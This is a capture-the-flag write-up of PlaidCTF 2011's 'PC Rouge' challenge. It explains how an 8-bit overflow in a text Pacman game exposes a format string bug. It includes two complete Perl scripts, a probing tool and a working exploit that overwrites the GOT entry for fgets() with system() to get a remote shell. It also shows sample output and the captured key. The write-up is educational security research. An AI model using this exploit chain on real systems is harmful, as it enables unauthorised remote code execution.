Joel Eriksson
Vulnerability researcher, exploit developer and reverse-engineer. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

PlaidCTF 2011 – 25 – PC Rouge – 600 pts

This is my writeup for the twenty-fifth challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“Amalgamated has banned the use of Solitaire due to loss of productivity.
The only employee who would write a new game for everyone only likes ‘retro’ games, and has placed a text-adventure version of pacman on a company server.
We don’t believe he could have coded this securely, and the server contains a vital key.
Connect to the game here and find the key.
nc a9.amalgamated.biz 60123”

There was no binary available for download, so this level was actually completely blind. Connecting to the game we get:

TRUE RETRO PACMAN 8-BIT v2.1
ACCURATE 8-BIT VIRTUALIZATION NOW INCLUDED!
Change log:
1/2/11:  2.1   New years update for increased stability
12/1/10: 2.0.1 Fixed some 8-bit 'overflow' that occured when virtualizing
9/23/10: 2.0   Added actual 8-bit carry and 8-bit behavior for more authenticity
6/15/10: 1.5.1 Added logging of all commands.
6/10/10: 1.5   Now with an actual maze!
2/10/09: 1.0   Release


STATUS:
Item: The able Trophy!
POWERPOINTS:0
Points:0
There is a pill to the north.
There is a pill to the south.
There is a wall to the east.
There is a pill to the west.
There is a pill here!
?> 

Typing “help” gave a list of valid commands:

?> help


VALID COMMANDS::
	help/HELP	 Show this help
	quit/q		 Quit
	take		 Take a pill/powerpill
	n		 Go north
	s		 Go south
	e		 Go east
	w		 Go west.
	t		 Wait.

Walking around in the maze eating pills we notice a few things. First I noticed that after eating 16 pills, each increasing my number of points with 8, my number of points suddenly becomes -128. This indicates that a signed 8-bit integer is used to store the number of points.

STATUS:
Item: The mountain Trophy!
POWERPOINTS:50
Points:120
There is a pill to the north.
There is a wall to the south.
There is nothing to the east.
There is a wall to the west.
There is a pill here!
?> take
Your pick up a pill! Yum!!


STATUS:
Item: The mountain Trophy!
POWERPOINTS:50
Points:-128

We also notice that the number of power points seem to determine which item that is listed in our status. Each time we eat a powerpill the number of points increase with 40, and each time we make a move the number of power points (if any) decreases with one. The somehow odd “t” command which is described as “wait” decreases the number of power points with one as well, and surely this must be for a reason.

Moving on through the game eating pills and powerpills as we encounter them, we will sooner or later run into this situation:

STATUS:
Item: The battle Trophy!
POWERPOINTS:94
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is a POWERPILL here!
?> take
[ERROR] Over 128 powerpoints!

We cannot eat another powerpill since this would put us over the maximum of 128. However, if a signed 8-bit integer is used for the number of powerpoints as well the real maximum should be 127. Let’s use the “t” command a few times until our number of powerpoints is 88, and let’s see what happens when we eat the powerpill:

STATUS:
Item: The answer Trophy!
POWERPOINTS:88
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is a POWERPILL here!
?> take
Your pick up a POWERPILL! Delicious!!


STATUS:
Item: n
POWERPOINTS:-128
Points:-32

Notice anything strange? Well, besides now having a negative number of powerpoints (which we sort of expected) we can also see that our item-string is now “n” instead of “The some-name Trophy!”. Since the number of powerpoints seemed to determine the item that is listed, it seems likely that the number of powerpoints is used as an index into an array of items/trophies and that when a negative index is being used (-128) it will point into some other string that in this case happened to be “n”.

So where does this “n” come from? Well, since “n” is one of the commands for this game it could certainly be a command string that I’ve entered earlier. It’s not the last command I’ve entered though, so if “n” is indeed a command it is probably stored in a command history buffer. Looking back through the scrollback we also notice:

STATUS:
Item: The language Trophy!
POWERPOINTS:41
Points:-80
There is a pill to the north.
There is nothing to the south.
There is a wall to the east.
There is a wall to the west.
There is a pill here!
?> take
Your pick up a pill! Yum!!
Command limit reached. Reseting command buffer.


STATUS:
Item: The language Trophy!
POWERPOINTS:41
Points:-72
There is a pill to the north.
There is nothing to the south.
There is a wall to the east.
There is a wall to the west.
There is nothing here.
?> n
You move north.

See the “Command limit reached.” message? We got that on our 127:th command, which probably means that a history of 127 commands are being stored in an array. If this array is stored right before the item string array, the “n” listed as our item after getting a negative number of powerpoints may be taken from this command history array. So, let’s see what happens if we use “t” or some other command until the command limit is reached again:

...
STATUS:
Item: n
POWERPOINTS:-128
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is nothing here.
?> t
You wait for a bit...
Command limit reached. Reseting command buffer.


STATUS:
Item: n
POWERPOINTS:-128
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is nothing here.
?> foobar.%x.%x.%x


STATUS:
Item: foobar.ffc60854.ffc60d58.ffc60854
POWERPOINTS:-128
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is nothing here.
?> t
You wait for a bit...

As you can see I’ve jumped ahead a bit to show you how this bug is turned into an exploitable vulnerability. The very first command entered after the command limit has been reached is used as the item-string, and is actually being passed directly as the format string argument to presumably printf(). This allows to read memory, like we do above, or even write to arbitrary addresses using the %n format string specifier.

After the number of power points have been wrapped into -128, it stays there, so now we can just wrap around the command history buffer each time we want to use a different format string. I developed the following script for being able to play around, enter different format strings and examine their output:

#!/usr/bin/perl -w

use strict;

use IO::Socket::INET;
use FileHandle;
use POSIX;

###########################################################################

# Exit with an error message if more than two arguments are given
die "Usage: $0 [ADDR] [PORT]\n"
  if @ARGV > 2;

# Get address and port from the command line, or use default values
my $addr = shift || '128.237.157.79';
my $port = shift || 60123;

###########################################################################

my $pwn_str =
 "n\n"x10 . "take\n" . "s\n"x15 . "take\n" . "n\n"x2 . "w\n"x3 . "s\n" .
 "take\n" . "s\n" . "w\n"x5 . "t\n"x5 . "take\n" . "t\n"x(127-46);

###########################################################################

# Connect to server
my $sock =
	IO::Socket::INET->new(
		PeerAddr => $addr,
		PeerPort => $port,
		Proto	 => 'tcp'
	) or die "connect: $!\n";

$sock->autoflush(1);
STDOUT->autoflush(1);

###########################################################################

print $sock $pwn_str;

my $pid = fork();

if (not defined $pid) {
	print STDERR "fork() failed\n";
} elsif ($pid == 0) {
	while (<>) {
		my $fmt = $_;
		$fmt =~ s{\{([0-9A-Fa-f]+)\}}{pack("L",hex($1))}sgex;
		print $sock $fmt,"t\n"x126;
	}
	print "\n";
	kill 15, $pid;
} else {
	my $print_item = 0;
	my $first = 1;
	$SIG{TERM} = sub { exit 0};
	while (<$sock>) {
		if (/^Command limit reached/) {
			if ($first) {
				$first = 0;
				print "Enter format string: ";
			} else {
				$print_item = 1;
			}
		}
		if (/^Item: / && $print_item) {
			s/^Item: //;
			my $buf = $_;
			chomp($buf);
			while (length($buf) > 0) {
				$buf =~ /(.)(.*)/s;
				my $c = $1;
				$buf = $2;
				if (POSIX::isprint($c)) {
					print "$c";
				} else {
					printf("\\x%02x", ord($c));
				}
			}
			print "\n";
			$print_item = 0;
			print "Enter format string: ";
		}
	}
}

###########################################################################

exit 0;

Note that {32-bit-integer-in-hex} will be converted to a raw binary 32-bit integer by the script. This can be used to embed addresses to dump or overwrite. Here’s a sample session:

je@isis:~/ctf/PlaidCTF-2011/25-PC_Rouge$ ./pc-playaround.pl
Enter format string: AAAABBBBCCCC.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAABBBBCCCC.ffa2a184.ffa2a688.ffa2a184.ffa2a687.ffa2a686.ffa2a184.ffa2a27c.6.41000074.42424242.43434343
Enter format string: %12$s{0}...{8048000}
\x7fELF\x01\x01\x01

Here I first determine the offset to the command buffer, by dumping the stack four bytes at a time with %x. The first three bytes are overwritten by a command that has been sent later (‘t’ = 0x74), so if we want to embed an address to read from or write into we should prepend some padding. My second attempt uses %12$s to dereference the pointer that I embed at offset 12 (0x08048000). Obviously NUL-bytes are not a problem, as long as they are located after the format string. The format string buffer is actually located in dynamically allocated memory on the heap, while the command buffer is located in a local variable on the stack. The only problematic byte is 0x0a (e.g. ‘\n’ = line-feed), which ends the command string and is converted to a NUL-byte in the buffer.

Using this technique we are able to dump the entire binary for the level, except for a few bytes at addresses containg 0x0a that we assume are NUL-bytes. This produces a valid enough binary for further analysis in IDA Pro, where we can clearly see the vulnerable call to printf:

printf(item_arr[num_powerpoints]);

We also see that fgets() is used to read our commands, and that the line-feed character is converted to a NUL-byte, just as we have observed:

  if (fgets(buf, 255, stdin)) {
    for (i = 0; i < strlen(buf) - 1; ++i) {
      if (buf[i] == 10) {
        buf[i] = 0;
        break;
      }
    }

If we use the format string vulnerability to overwrite a GOT-entry, fgets() seems to be the perfect choice since its first argument happens to be a pointer to our buffer. If we embed a command line to be executed there and point fgets() into system() instead, our command line will be executed.

Now we just need to find system(), either by bruteforcing it or by reading a GOT-entry and calculating the address to system() based on its offset from the function whose GOT-entry we've read. We used the latter method to find system() based on its offset from fgets(). Since we had not yet noticed that a5 and a9 used the same libc, we first dumped libc using this vulnerability as well. :) Finally, we ended up with the following exploit:

#!/usr/bin/perl -w

use strict;

use IO::Socket::INET;
use FileHandle;

###########################################################################

print STDERR "[*] -----------------------------------------------\n";
print STDERR "[*] PC Rouge Exploit - PlaidCTF-2011 - Challenge 25\n";
print STDERR "[*] Coded by Joel Eriksson, AKA je AKA The Beast...\n";
print STDERR "[*] -----------------------------------------------\n";

###########################################################################

# Exit with an error message if more than two arguments are given
die "Usage: $0 [ADDR] [PORT]\n"
  if @ARGV > 2;

# Get address and port from the command line, or use default values
my $addr = shift || '128.237.157.79';
my $port = shift || 60123;

###########################################################################

my $pwn_str =
 "n\n"x10 . "take\n" . "s\n"x15 . "take\n" . "n\n"x2 . "w\n"x3 . "s\n" .
 "take\n" . "s\n" . "w\n"x5 . "t\n"x5 . "take\n" . "t\n"x(127-46);

my $fgets_got = 0x0804bf18;
my $fgets_off = 0x5bc30;
my $system_off = 0x38fb0;

###########################################################################

# Connect to server
my $sock =
	IO::Socket::INET->new(
		PeerAddr => $addr,
		PeerPort => $port,
		Proto	 => 'tcp'
	) or die "connect: $!\n";

$sock->autoflush(1);
STDOUT->autoflush(1);

###########################################################################

my $line;
my $c = 0x41;
my $marker = chr($c)x8;

###########################################################################

print STDERR "[*] Retrieving fgets() address from the GOT\n";

# LSB of fgets() happened to be a NUL-byte on the a9 box, thus the +1
print $sock $marker,pack("L",$fgets_got+1),"-%11\$s",$pwn_str;

while ($line = <$sock>) {
	last if $line =~ /Item: $marker/;
}

$line =~ /$marker....-(....)/;

my ($fgets_addr) = unpack("L", $1);

$fgets_addr <<= 8;
$fgets_addr &= 0xffffffff;

###########################################################################

print STDERR "[*] Calculating address of system()\n";

my $system_addr = $fgets_addr - 0x5bc30 + 0x38fb0;

###########################################################################

print STDERR "[*] Overwriting the GOT-entry for fgets()\n";

my $hi_addr = $system_addr >> 16;
my $lo_addr = $system_addr & 0xffff;
my ($n1, $n2, $addr1, $addr2);

if ($hi_addr < $lo_addr) {
	$n1 = $hi_addr - 16;
	$n2 = $lo_addr - $lo_addr;
	$addr1 = $fgets_got + 2;
	$addr2 = $fgets_got;
} else {
	$n1 = $lo_addr - 16;
	$n2 = $hi_addr - $lo_addr;
	$addr1 = $fgets_got;
	$addr2 = $fgets_got + 2;
}

$marker = "id; sh; ";

print $sock
	$marker,
	pack("L",$addr1),pack("L",$addr2),
	"%${n1}u%11\$hn","%${n2}u%12\$hn",
	"t\n"x127;

print STDERR "[*] Waiting for shell... ;)\n";

while ($line = <$sock>) {
	last if $line =~ /Item: $marker/;
}

###########################################################################

while ($line = <$sock>) {
	last if $line =~ /^uid/;
}

print STDERR "[*] Exploit succeeded! Press ^C to exit shell...\n";
print STDERR $line;

my $pid = fork();

if (not defined $pid) {
	print STDERR "fork() failed\n";
} elsif ($pid == 0) {
	while (<>) { print $sock $_; }
} else {
	while (<$sock>) { print }
}

###########################################################################

exit 0;

And finally, here is a sample run:

je@isis:~/ctf/PlaidCTF-2011/25-PC_Rouge$ ./pc-xpl.pl
[*] -----------------------------------------------
[*] PC Rouge Exploit - PlaidCTF-2011 - Challenge 25
[*] Coded by Joel Eriksson, AKA je AKA The Beast...
[*] -----------------------------------------------
[*] Retrieving fgets() address from the GOT
[*] Calculating address of system()
[*] Overwriting the GOT-entry for fgets()
[*] Waiting for shell... ;)
[*] Exploit succeeded! Press ^C to exit shell...
uid=1005(pc) gid=1006(pc) groups=1006(pc)
cat /home/pc/key
true8_bit_is_best_bit